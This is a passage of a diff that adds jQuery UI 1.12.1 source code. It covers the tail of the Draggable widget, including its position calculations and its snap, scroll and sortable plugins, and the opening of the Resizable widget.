( this.hasFixedAncestor ) { + this.offset.parent = this._getParentOffset(); + } + + //Compute the helpers position + this.position = this._generatePosition( event, true ); + this.positionAbs = this._convertPositionTo( "absolute" ); + + //Call plugins and callbacks and use the resulting position if something is returned + if ( !noPropagation ) { + var ui = this._uiHash(); + if ( this._trigger( "drag", event, ui ) === false ) { + this._mouseUp( new $.Event( "mouseup", event ) ); + return false; + } + this.position = ui.position; + } + + this.helper[ 0 ].style.left = this.position.left + "px"; + this.helper[ 0 ].style.top = this.position.top + "px"; + + if ( $.ui.ddmanager ) { + $.ui.ddmanager.drag( this, event ); + } + + return false; + }, + + _mouseStop: function( event ) { + + //If we are using droppables, inform the manager about the drop + var that = this, + dropped = false; + if ( $.ui.ddmanager && !this.options.dropBehaviour ) { + dropped = $.ui.ddmanager.drop( this, event ); + } + + //if a drop comes from outside (a sortable) + if ( this.dropped ) { + dropped = this.dropped; + this.dropped = false; + } + + if ( ( this.options.revert === "invalid" && !dropped ) || + ( this.options.revert === "valid" && dropped ) || + this.options.revert === true || ( $.isFunction( this.options.revert ) && + this.options.revert.call( this.element, dropped ) ) + ) { + $( this.helper ).animate( + this.originalPosition, + parseInt( this.options.revertDuration, 10 ), + function() { + if ( that._trigger( "stop", event ) !== false ) { + that._clear(); + } + } + ); + } else { + if ( this._trigger( "stop", event ) !== false ) { + this._clear(); + } + } + + return false; + }, + + _mouseUp: function( event ) { + this._unblockFrames(); + + // If the ddmanager is used for droppables, inform the manager that dragging has stopped + // (see #5003) + if ( $.ui.ddmanager ) { + $.ui.ddmanager.dragStop( this, event ); + } + + // Only need to focus if the event occurred on the draggable itself, see #10527 + if ( this.handleElement.is( event.target ) ) { + + // The interaction is over; whether or not the click resulted in a drag, + // focus the element + this.element.trigger( "focus" ); + } + + return $.ui.mouse.prototype._mouseUp.call( this, event ); + }, + + cancel: function() { + + if ( this.helper.is( ".ui-draggable-dragging" ) ) { + this._mouseUp( new $.Event( "mouseup", { target: this.element[ 0 ] } ) ); + } else { + this._clear(); + } + + return this; + + }, + + _getHandle: function( event ) { + return this.options.handle ? + !!$( event.target ).closest( this.element.find( this.options.handle ) ).length : + true; + }, + + _setHandleClassName: function() { + this.handleElement = this.options.handle ? + this.element.find( this.options.handle ) : this.element; + this._addClass( this.handleElement, "ui-draggable-handle" ); + }, + + _removeHandleClassName: function() { + this._removeClass( this.handleElement, "ui-draggable-handle" ); + }, + + _createHelper: function( event ) { + + var o = this.options, + helperIsFunction = $.isFunction( o.helper ), + helper = helperIsFunction ? + $( o.helper.apply( this.element[ 0 ], [ event ] ) ) : + ( o.helper === "clone" ? + this.element.clone().removeAttr( "id" ) : + this.element ); + + if ( !helper.parents( "body" ).length ) { + helper.appendTo( ( o.appendTo === "parent" ? + this.element[ 0 ].parentNode : + o.appendTo ) ); + } + + // Http://bugs.jqueryui.com/ticket/9446 + // a helper function can return the original element + // which wouldn't have been set to relative in _create + if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) { + this._setPositionRelative(); + } + + if ( helper[ 0 ] !== this.element[ 0 ] && + !( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) { + helper.css( "position", "absolute" ); + } + + return helper; + + }, + + _setPositionRelative: function() { + if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) { + this.element[ 0 ].style.position = "relative"; + } + }, + + _adjustOffsetFromHelper: function( obj ) { + if ( typeof obj === "string" ) { + obj = obj.split( " " ); + } + if ( $.isArray( obj ) ) { + obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 }; + } + if ( "left" in obj ) { + this.offset.click.left = obj.left + this.margins.left; + } + if ( "right" in obj ) { + this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left; + } + if ( "top" in obj ) { + this.offset.click.top = obj.top + this.margins.top; + } + if ( "bottom" in obj ) { + this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top; + } + }, + + _isRootNode: function( element ) { + return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ]; + }, + + _getParentOffset: function() { + + //Get the offsetParent and cache its position + var po = this.offsetParent.offset(), + document = this.document[ 0 ]; + + // This is a special case where we need to modify a offset calculated on start, since the + // following happened: + // 1. The position of the helper is absolute, so it's position is calculated based on the + // next positioned parent + // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't + // the document, which means that the scroll is included in the initial calculation of the + // offset of the parent, and never recalculated upon drag + if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== document && + $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) { + po.left += this.scrollParent.scrollLeft(); + po.top += this.scrollParent.scrollTop(); + } + + if ( this._isRootNode( this.offsetParent[ 0 ] ) ) { + po = { top: 0, left: 0 }; + } + + return { + top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ), + left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 ) + }; + + }, + + _getRelativeOffset: function() { + if ( this.cssPosition !== "relative" ) { + return { top: 0, left: 0 }; + } + + var p = this.element.position(), + scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ); + + return { + top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) + + ( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ), + left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) + + ( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 ) + }; + + }, + + _cacheMargins: function() { + this.margins = { + left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0 ), + top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ), + right: ( parseInt( this.element.css( "marginRight" ), 10 ) || 0 ), + bottom: ( parseInt( this.element.css( "marginBottom" ), 10 ) || 0 ) + }; + }, + + _cacheHelperProportions: function() { + this.helperProportions = { + width: this.helper.outerWidth(), + height: this.helper.outerHeight() + }; + }, + + _setContainment: function() { + + var isUserScrollable, c, ce, + o = this.options, + document = this.document[ 0 ]; + + this.relativeContainer = null; + + if ( !o.containment ) { + this.containment = null; + return; + } + + if ( o.containment === "window" ) { + this.containment = [ + $( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left, + $( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top, + $( window ).scrollLeft() + $( window ).width() - + this.helperProportions.width - this.margins.left, + $( window ).scrollTop() + + ( $( window ).height() || document.body.parentNode.scrollHeight ) - + this.helperProportions.height - this.margins.top + ]; + return; + } + + if ( o.containment === "document" ) { + this.containment = [ + 0, + 0, + $( document ).width() - this.helperProportions.width - this.margins.left, + ( $( document ).height() || document.body.parentNode.scrollHeight ) - + this.helperProportions.height - this.margins.top + ]; + return; + } + + if ( o.containment.constructor === Array ) { + this.containment = o.containment; + return; + } + + if ( o.containment === "parent" ) { + o.containment = this.helper[ 0 ].parentNode; + } + + c = $( o.containment ); + ce = c[ 0 ]; + + if ( !ce ) { + return; + } + + isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) ); + + this.containment = [ + ( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) + + ( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ), + ( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) + + ( parseInt( c.css( "paddingTop" ), 10 ) || 0 ), + ( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) - + ( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) - + ( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) - + this.helperProportions.width - + this.margins.left - + this.margins.right, + ( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) - + ( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) - + ( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) - + this.helperProportions.height - + this.margins.top - + this.margins.bottom + ]; + this.relativeContainer = c; + }, + + _convertPositionTo: function( d, pos ) { + + if ( !pos ) { + pos = this.position; + } + + var mod = d === "absolute" ? 1 : -1, + scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ); + + return { + top: ( + + // The absolute mouse position + pos.top + + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.top * mod + + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.top * mod - + ( ( this.cssPosition === "fixed" ? + -this.offset.scroll.top : + ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod ) + ), + left: ( + + // The absolute mouse position + pos.left + + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.left * mod + + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.left * mod - + ( ( this.cssPosition === "fixed" ? + -this.offset.scroll.left : + ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod ) + ) + }; + + }, + + _generatePosition: function( event, constrainPosition ) { + + var containment, co, top, left, + o = this.options, + scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ), + pageX = event.pageX, + pageY = event.pageY; + + // Cache the scroll + if ( !scrollIsRootNode || !this.offset.scroll ) { + this.offset.scroll = { + top: this.scrollParent.scrollTop(), + left: this.scrollParent.scrollLeft() + }; + } + + /* + * - Position constraining - + * Constrain the position to a mix of grid, containment. + */ + + // If we are not dragging yet, we won't check for options + if ( constrainPosition ) { + if ( this.containment ) { + if ( this.relativeContainer ) { + co = this.relativeContainer.offset(); + containment = [ + this.containment[ 0 ] + co.left, + this.containment[ 1 ] + co.top, + this.containment[ 2 ] + co.left, + this.containment[ 3 ] + co.top + ]; + } else { + containment = this.containment; + } + + if ( event.pageX - this.offset.click.left < containment[ 0 ] ) { + pageX = containment[ 0 ] + this.offset.click.left; + } + if ( event.pageY - this.offset.click.top < containment[ 1 ] ) { + pageY = containment[ 1 ] + this.offset.click.top; + } + if ( event.pageX - this.offset.click.left > containment[ 2 ] ) { + pageX = containment[ 2 ] + this.offset.click.left; + } + if ( event.pageY - this.offset.click.top > containment[ 3 ] ) { + pageY = containment[ 3 ] + this.offset.click.top; + } + } + + if ( o.grid ) { + + //Check for grid elements set to 0 to prevent divide by 0 error causing invalid + // argument errors in IE (see ticket #6950) + top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY - + this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] : this.originalPageY; + pageY = containment ? ( ( top - this.offset.click.top >= containment[ 1 ] || + top - this.offset.click.top > containment[ 3 ] ) ? + top : + ( ( top - this.offset.click.top >= containment[ 1 ] ) ? + top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top; + + left = o.grid[ 0 ] ? this.originalPageX + + Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ] : + this.originalPageX; + pageX = containment ? ( ( left - this.offset.click.left >= containment[ 0 ] || + left - this.offset.click.left > containment[ 2 ] ) ? + left : + ( ( left - this.offset.click.left >= containment[ 0 ] ) ? + left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left; + } + + if ( o.axis === "y" ) { + pageX = this.originalPageX; + } + + if ( o.axis === "x" ) { + pageY = this.originalPageY; + } + } + + return { + top: ( + + // The absolute mouse position + pageY - + + // Click offset (relative to the element) + this.offset.click.top - + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.top - + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.top + + ( this.cssPosition === "fixed" ? + -this.offset.scroll.top : + ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) + ), + left: ( + + // The absolute mouse position + pageX - + + // Click offset (relative to the element) + this.offset.click.left - + + // Only for relative positioned nodes: Relative offset from element to offset parent + this.offset.relative.left - + + // The offsetParent's offset without borders (offset + border) + this.offset.parent.left + + ( this.cssPosition === "fixed" ? + -this.offset.scroll.left : + ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) + ) + }; + + }, + + _clear: function() { + this._removeClass( this.helper, "ui-draggable-dragging" ); + if ( this.helper[ 0 ] !== this.element[ 0 ] && !this.cancelHelperRemoval ) { + this.helper.remove(); + } + this.helper = null; + this.cancelHelperRemoval = false; + if ( this.destroyOnClear ) { + this.destroy(); + } + }, + + // From now on bulk stuff - mainly helpers + + _trigger: function( type, event, ui ) { + ui = ui || this._uiHash(); + $.ui.plugin.call( this, type, [ event, ui, this ], true ); + + // Absolute position and offset (see #6884 ) have to be recalculated after plugins + if ( /^(drag|start|stop)/.test( type ) ) { + this.positionAbs = this._convertPositionTo( "absolute" ); + ui.offset = this.positionAbs; + } + return $.Widget.prototype._trigger.call( this, type, event, ui ); + }, + + plugins: {}, + + _uiHash: function() { + return { + helper: this.helper, + position: this.position, + originalPosition: this.originalPosition, + offset: this.positionAbs + }; + } + +} ); + +$.ui.plugin.add( "draggable", "connectToSortable", { + start: function( event, ui, draggable ) { + var uiSortable = $.extend( {}, ui, { + item: draggable.element + } ); + + draggable.sortables = []; + $( draggable.options.connectToSortable ).each( function() { + var sortable = $( this ).sortable( "instance" ); + + if ( sortable && !sortable.options.disabled ) { + draggable.sortables.push( sortable ); + + // RefreshPositions is called at drag start to refresh the containerCache + // which is used in drag. This ensures it's initialized and synchronized + // with any changes that might have happened on the page since initialization. + sortable.refreshPositions(); + sortable._trigger( "activate", event, uiSortable ); + } + } ); + }, + stop: function( event, ui, draggable ) { + var uiSortable = $.extend( {}, ui, { + item: draggable.element + } ); + + draggable.cancelHelperRemoval = false; + + $.each( draggable.sortables, function() { + var sortable = this; + + if ( sortable.isOver ) { + sortable.isOver = 0; + + // Allow this sortable to handle removing the helper + draggable.cancelHelperRemoval = true; + sortable.cancelHelperRemoval = false; + + // Use _storedCSS To restore properties in the sortable, + // as this also handles revert (#9675) since the draggable + // may have modified them in unexpected ways (#8809) + sortable._storedCSS = { + position: sortable.placeholder.css( "position" ), + top: sortable.placeholder.css( "top" ), + left: sortable.placeholder.css( "left" ) + }; + + sortable._mouseStop( event ); + + // Once drag has ended, the sortable should return to using + // its original helper, not the shared helper from draggable + sortable.options.helper = sortable.options._helper; + } else { + + // Prevent this Sortable from removing the helper. + // However, don't set the draggable to remove the helper + // either as another connected Sortable may yet handle the removal. + sortable.cancelHelperRemoval = true; + + sortable._trigger( "deactivate", event, uiSortable ); + } + } ); + }, + drag: function( event, ui, draggable ) { + $.each( draggable.sortables, function() { + var innermostIntersecting = false, + sortable = this; + + // Copy over variables that sortable's _intersectsWith uses + sortable.positionAbs = draggable.positionAbs; + sortable.helperProportions = draggable.helperProportions; + sortable.offset.click = draggable.offset.click; + + if ( sortable._intersectsWith( sortable.containerCache ) ) { + innermostIntersecting = true; + + $.each( draggable.sortables, function() { + + // Copy over variables that sortable's _intersectsWith uses + this.positionAbs = draggable.positionAbs; + this.helperProportions = draggable.helperProportions; + this.offset.click = draggable.offset.click; + + if ( this !== sortable && + this._intersectsWith( this.containerCache ) && + $.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) { + innermostIntersecting = false; + } + + return innermostIntersecting; + } ); + } + + if ( innermostIntersecting ) { + + // If it intersects, we use a little isOver variable and set it once, + // so that the move-in stuff gets fired only once. + if ( !sortable.isOver ) { + sortable.isOver = 1; + + // Store draggable's parent in case we need to reappend to it later. + draggable._parent = ui.helper.parent(); + + sortable.currentItem = ui.helper + .appendTo( sortable.element ) + .data( "ui-sortable-item", true ); + + // Store helper option to later restore it + sortable.options._helper = sortable.options.helper; + + sortable.options.helper = function() { + return ui.helper[ 0 ]; + }; + + // Fire the start events of the sortable with our passed browser event, + // and our own helper (so it doesn't create a new one) + event.target = sortable.currentItem[ 0 ]; + sortable._mouseCapture( event, true ); + sortable._mouseStart( event, true, true ); + + // Because the browser event is way off the new appended portlet, + // modify necessary variables to reflect the changes + sortable.offset.click.top = draggable.offset.click.top; + sortable.offset.click.left = draggable.offset.click.left; + sortable.offset.parent.left -= draggable.offset.parent.left - + sortable.offset.parent.left; + sortable.offset.parent.top -= draggable.offset.parent.top - + sortable.offset.parent.top; + + draggable._trigger( "toSortable", event ); + + // Inform draggable that the helper is in a valid drop zone, + // used solely in the revert option to handle "valid/invalid". + draggable.dropped = sortable.element; + + // Need to refreshPositions of all sortables in the case that + // adding to one sortable changes the location of the other sortables (#9675) + $.each( draggable.sortables, function() { + this.refreshPositions(); + } ); + + // Hack so receive/update callbacks work (mostly) + draggable.currentItem = draggable.element; + sortable.fromOutside = draggable; + } + + if ( sortable.currentItem ) { + sortable._mouseDrag( event ); + + // Copy the sortable's position because the draggable's can potentially reflect + // a relative position, while sortable is always absolute, which the dragged + // element has now become. (#8809) + ui.position = sortable.position; + } + } else { + + // If it doesn't intersect with the sortable, and it intersected before, + // we fake the drag stop of the sortable, but make sure it doesn't remove + // the helper by using cancelHelperRemoval. + if ( sortable.isOver ) { + + sortable.isOver = 0; + sortable.cancelHelperRemoval = true; + + // Calling sortable's mouseStop would trigger a revert, + // so revert must be temporarily false until after mouseStop is called. + sortable.options._revert = sortable.options.revert; + sortable.options.revert = false; + + sortable._trigger( "out", event, sortable._uiHash( sortable ) ); + sortable._mouseStop( event, true ); + + // Restore sortable behaviors that were modfied + // when the draggable entered the sortable area (#9481) + sortable.options.revert = sortable.options._revert; + sortable.options.helper = sortable.options._helper; + + if ( sortable.placeholder ) { + sortable.placeholder.remove(); + } + + // Restore and recalculate the draggable's offset considering the sortable + // may have modified them in unexpected ways. (#8809, #10669) + ui.helper.appendTo( draggable._parent ); + draggable._refreshOffsets( event ); + ui.position = draggable._generatePosition( event, true ); + + draggable._trigger( "fromSortable", event ); + + // Inform draggable that the helper is no longer in a valid drop zone + draggable.dropped = false; + + // Need to refreshPositions of all sortables just in case removing + // from one sortable changes the location of other sortables (#9675) + $.each( draggable.sortables, function() { + this.refreshPositions(); + } ); + } + } + } ); + } +} ); + +$.ui.plugin.add( "draggable", "cursor", { + start: function( event, ui, instance ) { + var t = $( "body" ), + o = instance.options; + + if ( t.css( "cursor" ) ) { + o._cursor = t.css( "cursor" ); + } + t.css( "cursor", o.cursor ); + }, + stop: function( event, ui, instance ) { + var o = instance.options; + if ( o._cursor ) { + $( "body" ).css( "cursor", o._cursor ); + } + } +} ); + +$.ui.plugin.add( "draggable", "opacity", { + start: function( event, ui, instance ) { + var t = $( ui.helper ), + o = instance.options; + if ( t.css( "opacity" ) ) { + o._opacity = t.css( "opacity" ); + } + t.css( "opacity", o.opacity ); + }, + stop: function( event, ui, instance ) { + var o = instance.options; + if ( o._opacity ) { + $( ui.helper ).css( "opacity", o._opacity ); + } + } +} ); + +$.ui.plugin.add( "draggable", "scroll", { + start: function( event, ui, i ) { + if ( !i.scrollParentNotHidden ) { + i.scrollParentNotHidden = i.helper.scrollParent( false ); + } + + if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] && + i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) { + i.overflowOffset = i.scrollParentNotHidden.offset(); + } + }, + drag: function( event, ui, i ) { + + var o = i.options, + scrolled = false, + scrollParent = i.scrollParentNotHidden[ 0 ], + document = i.document[ 0 ]; + + if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) { + if ( !o.axis || o.axis !== "x" ) { + if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY < + o.scrollSensitivity ) { + scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed; + } else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) { + scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed; + } + } + + if ( !o.axis || o.axis !== "y" ) { + if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX < + o.scrollSensitivity ) { + scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed; + } else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) { + scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed; + } + } + + } else { + + if ( !o.axis || o.axis !== "x" ) { + if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity ) { + scrolled = $( document ).scrollTop( $( document ).scrollTop() - o.scrollSpeed ); + } else if ( $( window ).height() - ( event.pageY - $( document ).scrollTop() ) < + o.scrollSensitivity ) { + scrolled = $( document ).scrollTop( $( document ).scrollTop() + o.scrollSpeed ); + } + } + + if ( !o.axis || o.axis !== "y" ) { + if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity ) { + scrolled = $( document ).scrollLeft( + $( document ).scrollLeft() - o.scrollSpeed + ); + } else if ( $( window ).width() - ( event.pageX - $( document ).scrollLeft() ) < + o.scrollSensitivity ) { + scrolled = $( document ).scrollLeft( + $( document ).scrollLeft() + o.scrollSpeed + ); + } + } + + } + + if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) { + $.ui.ddmanager.prepareOffsets( i, event ); + } + + } +} ); + +$.ui.plugin.add( "draggable", "snap", { + start: function( event, ui, i ) { + + var o = i.options; + + i.snapElements = []; + + $( o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap ) + .each( function() { + var $t = $( this ), + $o = $t.offset(); + if ( this !== i.element[ 0 ] ) { + i.snapElements.push( { + item: this, + width: $t.outerWidth(), height: $t.outerHeight(), + top: $o.top, left: $o.left + } ); + } + } ); + + }, + drag: function( event, ui, inst ) { + + var ts, bs, ls, rs, l, r, t, b, i, first, + o = inst.options, + d = o.snapTolerance, + x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width, + y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height; + + for ( i = inst.snapElements.length - 1; i >= 0; i-- ) { + + l = inst.snapElements[ i ].left - inst.margins.left; + r = l + inst.snapElements[ i ].width; + t = inst.snapElements[ i ].top - inst.margins.top; + b = t + inst.snapElements[ i ].height; + + if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d || + !$.contains( inst.snapElements[ i ].item.ownerDocument, + inst.snapElements[ i ].item ) ) { + if ( inst.snapElements[ i ].snapping ) { + ( inst.options.snap.release && + inst.options.snap.release.call( + inst.element, + event, + $.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } ) + ) ); + } + inst.snapElements[ i ].snapping = false; + continue; + } + + if ( o.snapMode !== "inner" ) { + ts = Math.abs( t - y2 ) <= d; + bs = Math.abs( b - y1 ) <= d; + ls = Math.abs( l - x2 ) <= d; + rs = Math.abs( r - x1 ) <= d; + if ( ts ) { + ui.position.top = inst._convertPositionTo( "relative", { + top: t - inst.helperProportions.height, + left: 0 + } ).top; + } + if ( bs ) { + ui.position.top = inst._convertPositionTo( "relative", { + top: b, + left: 0 + } ).top; + } + if ( ls ) { + ui.position.left = inst._convertPositionTo( "relative", { + top: 0, + left: l - inst.helperProportions.width + } ).left; + } + if ( rs ) { + ui.position.left = inst._convertPositionTo( "relative", { + top: 0, + left: r + } ).left; + } + } + + first = ( ts || bs || ls || rs ); + + if ( o.snapMode !== "outer" ) { + ts = Math.abs( t - y1 ) <= d; + bs = Math.abs( b - y2 ) <= d; + ls = Math.abs( l - x1 ) <= d; + rs = Math.abs( r - x2 ) <= d; + if ( ts ) { + ui.position.top = inst._convertPositionTo( "relative", { + top: t, + left: 0 + } ).top; + } + if ( bs ) { + ui.position.top = inst._convertPositionTo( "relative", { + top: b - inst.helperProportions.height, + left: 0 + } ).top; + } + if ( ls ) { + ui.position.left = inst._convertPositionTo( "relative", { + top: 0, + left: l + } ).left; + } + if ( rs ) { + ui.position.left = inst._convertPositionTo( "relative", { + top: 0, + left: r - inst.helperProportions.width + } ).left; + } + } + + if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs || first ) ) { + ( inst.options.snap.snap && + inst.options.snap.snap.call( + inst.element, + event, + $.extend( inst._uiHash(), { + snapItem: inst.snapElements[ i ].item + } ) ) ); + } + inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first ); + + } + + } +} ); + +$.ui.plugin.add( "draggable", "stack", { + start: function( event, ui, instance ) { + var min, + o = instance.options, + group = $.makeArray( $( o.stack ) ).sort( function( a, b ) { + return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) - + ( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 ); + } ); + + if ( !group.length ) { return; } + + min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0; + $( group ).each( function( i ) { + $( this ).css( "zIndex", min + i ); + } ); + this.css( "zIndex", ( min + group.length ) ); + } +} ); + +$.ui.plugin.add( "draggable", "zIndex", { + start: function( event, ui, instance ) { + var t = $( ui.helper ), + o = instance.options; + + if ( t.css( "zIndex" ) ) { + o._zIndex = t.css( "zIndex" ); + } + t.css( "zIndex", o.zIndex ); + }, + stop: function( event, ui, instance ) { + var o = instance.options; + + if ( o._zIndex ) { + $( ui.helper ).css( "zIndex", o._zIndex ); + } + } +} ); + +var widgetsDraggable = $.ui.draggable; + + +/*! + * jQuery UI Resizable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Resizable +//>>group: Interactions +//>>description: Enables resize functionality for any element. +//>>docs: http://api.jqueryui.com/resizable/ +//>>demos: http://jqueryui.com/resizable/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/resizable.css +//>>css.theme: ../../themes/base/theme.css + + + +$.widget( "ui.resizable", $.ui.mouse, { + version: "1.12.1", + widgetEventPrefix: "resize", + options: { + alsoResize: false, + animate: false, + animateDuration: "slow", + animateEasing: "swing", + aspectRatio: false, + autoHide: false, + classes: { + "ui-resizable-se": "ui-icon ui-icon-gripsmall-diagonal-se" + }, + containment: false, + ghost: false, + grid: false, + handles: "e,s,se", + helper: false, + maxHeight: null, + maxWidth: null, + minHeight: 10, + minWidth: 10, + + // See #7960 + zIndex: 90, + + // Callbacks + resize: null, + start: null, + stop: null + }, + + _num: function( value ) { + return parseFloat( value ) || 0; + }, + + _isNumber: function( value ) { + return !isNaN( parseFloat( value ) ); + }, + + _hasScroll: function( el, a ) { + + if ( $( el ).css( "overflow" ) === "hidden" ) { + return false; + } + + var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop", + has = false; + + if ( el[ scroll ] > 0 ) { + return true; + } + + // TODO: determine which cases actually cause this to happen + // if the element doesn't have the scroll set, see if it's possible to + // set the scroll + el[ scroll ] = 1; + has = ( el[ scroll ] > 0 ); + el[ scroll ] = 0; + return has; + }, + + _create: function() { + + var margins, + o = this.options, + that = this; + this._addClass( "ui-resizable" ); + + $.extend( this, { + _aspectRatio: !!( o.aspectRatio ), + aspectRatio: o.aspectRatio, + originalElement: this.element, + _proportionallyResizeElements: [], + _helper: o.helper || o.ghost || o.animate ? o.helper || "ui-resizable-helper" : null + } ); + + // Wrap the element if it cannot hold child nodes + if ( this.element[ 0 ].nodeName.match( /^(canvas|textarea|input|select|button|img)$/i ) ) { + + this.element.wrap( + $( "<div class='ui-wrapper' style='overflow: hidden;'></div>" ).css( { + position: this.element.css( "position" ), + width: this.element.outerWidth(), + height: this.element.outerHeight(), + top: this.element.css( "top" ), + left: this.element.css( "left" ) + } ) + ); + + this.element = this.element.parent().data( + "ui-resizable", this.element.resizable( "instance" ) + ); + + this.elementIsWrapper = true; + + margins = { + marginTop: this.originalElement.css( "marginTop" ), + marginRight: this.originalElement.css( "marginRight" ), + marginBottom: this.originalElement.css( "marginBottom" ), + marginLeft: this.originalElement.css( "marginLeft" ) + }; + + this.element.css( margins ); + this.originalElement.css( "margin", 0 ); + + // support: Safari + // Prevent Safari textarea resize + this.originalResizeStyle = this.originalElement.css( "resize" ); + this.originalElement.css( "resize", "none" ); + + this._proportionallyResizeElements.push( this.originalElement.css( { + position: "static", + zoom: 1, + display: "block" + } ) ); + + // Support: IE9 + // avoid IE jump (hard set the margin) + this.originalElement.css( margins ); + + this._proportionallyResize(); + } + + this._setupHandles(); + + if ( o.autoHide ) { + $( this.element ) + .on( "mouseenter", function() { + if ( o.disabled ) { + return; + } + that._removeClass( "ui-resizable-autohide" ); + that._handles.show(); + } ) + .on( "mouseleave", function() { + if ( o.disabled ) { + return; + } + if ( !that.resizing ) { + that._addClass( "ui-resizable-autohide" ); + that._handles.hide(); + } + } ); + } + + this._mouseInit(); + }, + + _destroy: function() { + + this._mouseDestroy(); + + var wrapper, + _destroy = function( exp ) { + $( exp ) + .removeData( "resizable" ) + .removeData( "ui-resizable" ) + .off( ".resizable" ) + .find( ".ui-resizable-handle" ) + .remove(); + }; + + // TODO: Unwrap at same DOM position + if ( this.elementIsWrapper ) { + _destroy( this.element ); + wrapper = this.element; + this.originalElement.css( { + position: wrapper.css( "position" ), + width: wrapper.outerWidth(), + height: wrapper.outerHeight(), + top: wrapper.css( "top" ), + left: wrapper.css( "left" ) + } ).insertAfter( wrapper ); + wrapper.remove(); + } + + this.originalElement.css( "resize", this.originalResizeStyle ); + _destroy( this.originalElement ); + + return this; + }, + + _setOption: function( key, value ) { + this._super( key, value ); + + switch ( key ) { + case "handles": + this._removeHandles(); + this._setupHandles(); + break; + default: + break; + } + }, + + _setupHandles: function() { + var o = this.options, handle, i, n, hname, axis, that = this; + this.handles = o.handles || + ( !$( ".ui-resizable-handle", this.element ).length ? + "e,s,se" : { + n: ".ui-resizable-n", + e: ".ui-resizable-e", + s: ".ui-resizable-s", + w: ".ui-resizable-w", + se: ".ui-resizable-se", + sw: ".ui-resizable-sw", + ne: ".ui-resizable-ne", + nw: ".ui-resizable-nw" + } ); + + this._handles = $(); + if ( this.handles.constructor === String ) { + + if ( this.handles === "all" ) { + this.handles = "n,e,s,w,se,sw,ne,nw"; + } + + n = this.handles.split( "," ); + this.handles = {}; + + for ( i = 0; i < n.length; i++ ) { + + handle = $.trim( n[ i ] ); + hname = "ui-resizable-" + handle; + axis = $( 